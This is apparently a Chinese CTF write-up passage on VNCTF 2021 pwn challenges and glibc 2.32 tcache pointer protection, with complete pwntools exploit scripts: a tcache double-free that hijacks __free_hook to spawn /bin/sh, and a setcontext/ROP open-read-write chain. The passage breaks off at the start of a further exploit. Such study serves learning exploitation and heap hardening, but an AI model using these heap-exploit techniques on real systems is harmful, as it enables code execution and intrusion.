hit = [b'\x00', b'\x10', b'\x20', b'\x30', b'\x40', b'\x50', b'\x60', b'\x70', b'\x80', b'\x90', b'\xa0', b'\xb0', b'\xc0', b'\xd0', b'\xe0', b'\xf0']

def cmd(command:int):
    p.recvuntil(b">>")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def free():
    cmd(2)

def show():
    cmd(3)

def edit(content):
    cmd(5)
    p.recvuntil(b"Content:")
    p.send(content)

def exp(hit_byte):
    new(0x80, b'arttnba3')
    free()
    edit(b'arttnba3' * 2)
    free()
    
    edit(b'\x10' + hit_byte)
    new(0x80, b'arttnba3')
    new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
    free()
    show()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success("[+] libc_base: " + hex(libc_base))
    new(0x40, (b'\x01\x00' * 2).ljust(0x40, b'\x00'))
    new(0x40, (b'\x01\x00' * 2).ljust(0x30, b'\x00') + p64(libc_base + libc.sym['__free_hook']) + p64(libc_base + libc.sym['__free_hook'] + 0x10))
    new(0x10, p64(libc_base + libc.sym['system']))
    new(0x20, b'/bin/sh\x00')
    free()
    p.interactive()

if __name__ == '__main__':
    count = 1
    i = 0
    while True:
        try:
            print('the no.' + str(count) + 'try')
            print(b'try: ' + hit[i])
            p = remote('node3.buuoj.cn', 26454)#process('./ff')#
            exp(hit[i])
        except Exception as e:
            p.close()
            i = i + 1
            count = count + 1
            i = i % 16
            continue

1/16 的几率,本地很快就通了,但是打远程一直爆破不出来,出现了两种报错信息:

  • malloc(): unaligned tcache chunk detected

  • free(): invalid pointer

出现这两种报错信息的原因都是 堆块指针未对齐 ,笔者百思不得其解,只好将libc2.32的源码下载下来看看…

glibc 2.31下的 tcache_put 与 tcache_get

我们先来看看在 glibc 2.31 中是如何操作 tcache 中的堆块的:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

glibc2.31 下,堆管理器在 取/放 chunk时不会检测 tcache 中的堆块地址的合法性,也没有任何的诸如 加密/解密 等一系列的防护手段,完全就是一个裸的单向链表结构,利用起来易如反掌,只需要一个诸如 UAF 之类的漏洞就可以直接进行任意地址写

glibc 2.32下的 tcache_put 与 tcache_get

但是在 glibc 2.32 中引入了一个简单的异或加密机制:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

一、新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护

二、引入了两个新的宏对 tcache 中存/取 chunk 的操作进行了一层保护,即在 new chunk 链接 tcache 中 old chunk 时会进行一次异或运算,代码如下:

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写,这给传统的利用方式无疑是增加了不少的难度

不过若是我们能够直接控制 tcache struct,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址

glibc2.32下堆基址的新泄露方式

虽然这种简单的异或加密方式给 tcache 提高了不少的安全系数,但是同样也提供给我们新的泄露堆基址的途径

我们不难观察到,在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址

image.png

image.png

what’s more?

fastbin 中似乎也引入了这个机制,但是在普通的 bins 数组中似乎并未引入这个机制…?(研究ing

[VNCTF 2021]hh

[VNCTF 2021]LittleRedFlower - stackoverflow + orw

惯例的 checksec ,保护全开

image.png

拖入 IDA 进行分析

开头 ptctl 限制了系统调用,应该是只能 orw 了,同时还白给了 libc 基址

image.png

可以往任意地址写1字节

image.png

接下来是允许在预先分配的一个 0x200 的 chunk 的任意偏移处写 8 字节

image.png

最后是允许分配一个特定大小的 chunk ,向其写入内容后该 chunk 会被释放,程序执行流结束

image.png

考虑到最开始的 chunk 与 tcache struct 是紧挨着的,若是我们能够想办法 “让这个 chunk 的特定偏移处成为 tcache struct 的一部分” ,那么在该偏移的位置写 8 字节时便等同于我们向 tcache struct 内放入了一个 fake chunk,接下来的分配就能够完成任意地址写了

阅读 glibc 源码,我们可以发现 tcache 取 chunk 的逻辑是以 mp_.tcache_bins 作为索引的上限:

if (tc_idx < mp_.tcache_bins
    && tcache
    && tcache->counts[tc_idx] > 0)
  {
    return tcache_get (tc_idx);
  }

而结构体 mp_ 为静态变量,毫无疑问位于 libc 当中:

static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
  .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
  ,
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS,
  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
  .tcache_unsorted_limit = 0 /* No limit.  */
#endif
};

我们只需要在开头的任意地址写 1 字节时修改 mp_tcache_bins 即可扩大 tcache 索引,接下来便是劫持 __free_hook 进行 orw 的常规流程

寻找 mp_ 的偏移可以通过逆向 libc 的方式完成:

image.png

可以使用通用 gadget + setcontext 完成栈迁移的过程

image.png

最终的 exp 如下:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 29644) #process('./pwn')#
libc = ELF('./libc.so.6') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#


def exp():
    p.recvuntil(b"GIFT: ")
    stdout_addr = int(p.recvuntil(b'\n', drop = True), 16)
    log.info('stdout addr leak: ' + hex(stdout_addr))
    libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
    log.success('libc base: ' + hex(libc_base))

    pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret')).__next__()
    pop_rsi_ret = libc_base + libc.search(asm('pop rsi ; ret')).__next__()
    pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()

    fake_frame = SigreturnFrame()
    fake_frame['uc_stack.ss_size'] = libc_base + libc.sym['setcontext'] + 61
    fake_frame.rdi = 0
    fake_frame.rsi = libc_base + libc.sym['__free_hook']
    fake_frame.rdx = 0x200
    fake_frame.rsp = libc_base + libc.sym['__free_hook'] + 8
    fake_frame.rip = libc_base + libc.sym['read']

    flag_addr = libc_base + libc.sym['__free_hook']
    orw = b'./flag\x00'.ljust(8, b'\x00')
    orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
    orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['read'])
    orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['write'])

    payload = p64(libc_base + 0x154B20) + p64(libc_base + libc.sym['__free_hook'] + 0x28) + p64(0) * 2 + p64(libc_base + libc.sym['setcontext'] + 61)
    payload += bytes(fake_frame)
    
    
    p.recvuntil(b"You can write a byte anywhere")
    p.send(p64(libc_base + 0x1ea2d0 + 1))
    p.recvuntil(b"And what?")
    p.send(p8(0xff))
    p.recvuntil(b"Offset:")
    p.sendline(str(2280))
    p.recvuntil(b"Content:")
    p.send(p64(libc_base + libc.sym['__free_hook']))
    p.recvuntil(b"size:")
    p.sendline(str(0x1600))
    p.recvuntil(b">>")
    p.send(payload)
    sleep(1)
    p.send(orw)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可获得 flag

image.png

u1s1笔者个人感觉这一次VNCTF出的题…虽然说能够让人学到新的东西,但是个人感觉部分题质量不大行,好像是为了出题而出题(x)(出题师傅轻点锤QAQ)

引用某个 pwn 👴👴的一句话就是:image.png

N1BOOK - Pwn

ROP - ret2csu + ret2libc

惯例的checksec,只开了NX

image.png

拖入IDA进行分析,直接就有一个很大的溢出

image.png

套板子做题即可,构造exp如下: